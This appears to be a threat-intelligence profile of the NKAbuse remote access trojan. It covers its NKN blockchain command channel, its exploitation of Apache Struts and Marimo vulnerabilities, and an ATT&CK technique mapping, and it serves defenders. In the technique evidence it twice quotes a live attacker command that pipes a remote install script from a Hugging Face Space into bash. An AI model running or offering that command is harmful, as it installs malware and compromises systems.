Skip to main content
Mallory
Malware2 associated CVEs

NKAbuse

Tracked since Dec 5, 2025 · Updated 19 days ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 days1 mention · peak 1 in a dayToday
Vulns2Associated
Actors0Associated
ATT&CK26Techniques
IOCs11Tracked
Type
RAT
Capabilities
ExfiltrationPersistencePost exploitationDefense evasionReconnaissanceDDOS
Delivery
Landing page
Platforms
LinuxIOT

NKAbuse is a Go-based remote access trojan and DDoS-capable malware family first documented in December 2023. It targets Linux systems and can compromise IoT devices, with builds supporting MIPS, ARM, and x86 architectures. Observed activity has included infections in Mexico, Colombia, and Vietnam, including an attack against a financial organization exploiting Apache Struts vulnerability CVE-2017-5638.

NKAbuse uses New Kind of Network (NKN), a decentralized peer-to-peer networking protocol backed by blockchain technology, for command-and-control communications and data exchange. It can maintain multiple concurrent communication channels, improving resilience and complicating infrastructure tracing and blocking. Its capabilities include remote command execution, data exfiltration, screenshot capture, and discovery of the victim's public IP address through external services. Its DDoS functionality supports HTTP, TCP, UDP, PING, ICMP, and SSL flooding.

In April 2026, a newly observed variant was deployed through exploitation of CVE-2026-39987, a pre-authentication remote code execution vulnerability in the Marimo Python notebook platform. Attackers used Hugging Face Spaces as static hosting for an installation script and malware payload; delivery did not involve a machine-learning model. The captured payload was a stripped, UPX-packed Go ELF binary disguised as a legitimate Kubernetes-related tool. This variant executes shell commands and returns their output through its remote-control channel. Its installation script establishes persistence through systemd user services or cron on Linux. This activity extended NKAbuse deployment into AI and machine-learning development environments.

Is this in your environment?See whether this family's indicators match your telemetry and which of your assets are exposed to the CVEs associated with it.
Check your exposure
Associated CVEs

Associated vulnerabilities

2 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.

CVE-2026-39987via zeropath blogExploited in the wildUnauthenticated Terminal WebSocket RCE in MarimoCVE-2026-39987 was weaponized by attackers to deploy the NKAbuse blockchain botnet via HuggingFace, demonstrating that the model distribution ecosystem is a recognized and actively exploited attack surface.View vulnerability →Source ↗
CVE-2017-5638via bleeping computerExploited in the wildUnauthenticated Remote Code Execution in Apache Struts 2 Jakarta Multipart ParserA new Go-based multi-platform malware identified as 'NKAbuse' is the first malware abusing NKN (New Kind of Network) technology for data exchange, making it a stealthy threat. | One NKAbuse infection spotted by Kaspersky involves the exploitation of an old Apache Struts flaw (CVE-2017-5638) to attack a financial company.View vulnerability →Source ↗
MITRE ATT&CK

Techniques & procedures

26 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

2 techniques
T1133External Remote ServicesEvidence2

The full attack chain is brutally short: the attacker opens a WebSocket to /terminal/ws (or wss:// behind TLS), the server accepts it with no credentials, allocates a PTY and a shell, and the attacker runs arbitrary commands as the Marimo process.

T1190Exploit Public-Facing ApplicationEvidence1

One NKAbuse infection spotted by Kaspersky involves the exploitation of an old Apache Struts flaw (CVE-2017-5638) to attack a financial company.

Execution

6 techniques
T1053Scheduled Task/JobEvidence1

Successful exploitation can result in: ... Persistence through cron jobs or startup scripts.

T1053.003CronEvidence6

[NKAbuse](https://attack.mitre.org/software/S1107) uses a Cron job to establish persistence when infecting Linux hosts.(Citation: NKAbuse SL)

T1059Command and Scripting InterpreterEvidence3

...the server accepts it with no credentials, allocates a PTY and a shell, and the attacker runs arbitrary commands as the Marimo process...

T1059.004Unix ShellEvidence6

[NKAbuse](https://attack.mitre.org/software/S1107) is initially installed and executed through an initial shell script.(Citation: NKAbuse SL)

T1203Exploitation for Client ExecutionEvidence6

CVE-2026-39987 is a critical pre-authentication remote code execution flaw in Marimo... A remote, unauthenticated attacker only has to complete a single WebSocket handshake to an exposed instance to obtain a full interactive shell as the user running the Marimo process.

T1204.002Malicious FileEvidence2

curl -fsSL https://vsccode-modetx.hf.space/install-linux.sh | bash

Persistence

5 techniques
T1053Scheduled Task/JobEvidence1

Successful exploitation can result in: ... Persistence through cron jobs or startup scripts.

T1053.003CronEvidence6

[NKAbuse](https://attack.mitre.org/software/S1107) uses a Cron job to establish persistence when infecting Linux hosts.(Citation: NKAbuse SL)

T1133External Remote ServicesEvidence2

The full attack chain is brutally short: the attacker opens a WebSocket to /terminal/ws (or wss:// behind TLS), the server accepts it with no credentials, allocates a PTY and a shell, and the attacker runs arbitrary commands as the Marimo process.

T1543.001Launch AgentEvidence3

macOS LaunchAgent (~/Library/LaunchAgents/com.kagent.plist)

T1543.002Systemd ServiceEvidence4

Indicators worth hunting for include... unusual per-user systemd services...

Privilege Escalation

4 techniques
T1053Scheduled Task/JobEvidence1

Successful exploitation can result in: ... Persistence through cron jobs or startup scripts.

T1053.003CronEvidence6

[NKAbuse](https://attack.mitre.org/software/S1107) uses a Cron job to establish persistence when infecting Linux hosts.(Citation: NKAbuse SL)

T1543.001Launch AgentEvidence3

macOS LaunchAgent (~/Library/LaunchAgents/com.kagent.plist)

T1543.002Systemd ServiceEvidence4

Indicators worth hunting for include... unusual per-user systemd services...

Stealth

3 techniques
T1027.002Software PackingEvidence1

The payload (kagent) is a stripped Go ELF binary packed with UPX (4.3 MB → 15.5 MB).

T1036MasqueradingEvidence3

The dropper URL points to a HuggingFace Space named vsccode-modetx, a deliberate typosquat of "VS Code". The binary it delivers is named kagent, also the name of a legitimate Kubernetes AI agent tool.

T1218System Binary Proxy ExecutionEvidence1

curl -fsSL https://vsccode-modetx.hf.space/install-linux.sh | bash

Credential Access

1 technique
T1649Steal or Forge Authentication CertificatesEvidence1

The Sysdig Threat Research Team... observed the first exploitation attempt within 9 hours and 41 minutes of publication, with a complete credential-theft operation executed in under three minutes.

Discovery

3 techniques
T1016.001Internet Connection DiscoveryEvidence3

[NKAbuse](https://attack.mitre.org/software/S1107) utilizes external services such as <code>ifconfig.me</code> to identify the victim machine's IP address.(Citation: NKAbuse SL)

T1057Process DiscoveryEvidence4

[NKAbuse](https://attack.mitre.org/software/S1107) will check victim systems to ensure only one copy of the malware is running.(Citation: NKAbuse SL)

T1082System Information DiscoveryEvidence7

[NKAbuse](https://attack.mitre.org/software/S1107) conducts multiple system checks and includes these in subsequent "heartbeat" messages to the malware's command and control server.(Citation: NKAbuse SL)

Lateral Movement

1 technique
T1570Lateral Tool TransferEvidence2

Researchers have tracked a campaign that uses the flaw to deploy a NKAbuse backdoor variant... pairing pre-auth RCE with credential theft, lateral movement into PostgreSQL and Redis...

Collection

1 technique
T1113Screen CaptureEvidence4

[NKAbuse](https://attack.mitre.org/software/S1107) can take screenshots of the victim machine.(Citation: NKAbuse SL)

Command and Control

5 techniques
T1071Application Layer ProtocolEvidence4

...a blockchain-based (NKN) command-and-control channel that is hard to monitor or block.

T1090ProxyEvidence3

The binary references NKN Client Protocol, WebRTC/ICE/STUN for NAT traversal, proxy management, and structured command handling.

T1090.003Multi-hop ProxyEvidence3

[NKAbuse](https://attack.mitre.org/software/S1107) has abused the NKN public blockchain protocol for its C2 communications.(Citation: NKAbuse BC)(Citation: NKAbuse SL)

T1095Non-Application Layer ProtocolEvidence1

The malware binary we captured was a previously undocumented variant of NKAbuse, a Go-based backdoor using the NKN blockchain for C2... NKN blockchain C2 uses distinctive relay patterns.

T1105Ingress Tool TransferEvidence5

Indicators worth hunting for include suspicious curl | bash executions referencing vsccode-modetx... Researchers have tracked a campaign that uses the flaw to deploy a NKAbuse backdoor variant hosted on Hugging Face Spaces...

Exfiltration

1 technique
T1041Exfiltration Over C2 ChannelEvidence1

In addition to the DDoS capabilities, NKAbuse also acts as a remote access trojan (RAT) on compromised systems, allowing its operators to perform command execution, data exfiltration, and snap screenshots.

Impact

1 technique
T1498Network Denial of ServiceEvidence4

[NKAbuse](https://attack.mitre.org/software/S1107) enables multiple types of network denial of service capabilities across several protocols post-installation.(Citation: NKAbuse SL)

Indicators of compromise

Observables

11 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.

View all in app →
Indicator values are available in Mallory. Pivot on every hash, domain, URL, and IP, or pipe them straight into your SIEM.View all in Mallory
Activity feed

Recent activity

14 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

View more in app →
+9 more in the timeline. Sign up to see them
Is this in your environment?See whether this family's indicators match your telemetry and which of your assets are exposed to the CVEs associated with it.
Check your exposure
Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching11Match every observed IP, domain, and hash against your live telemetry.
Associated threat actorsGroups linked to this family, with evidence pinned to each claim.
Associated vulnerabilities2CVEs linked to this family, with the reporting behind each link.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
MITRE ATT&CK mapping26Every documented technique, ranked by evidence weight.
Researcher chatterReddit, Mastodon, and CTI community discussion around this family.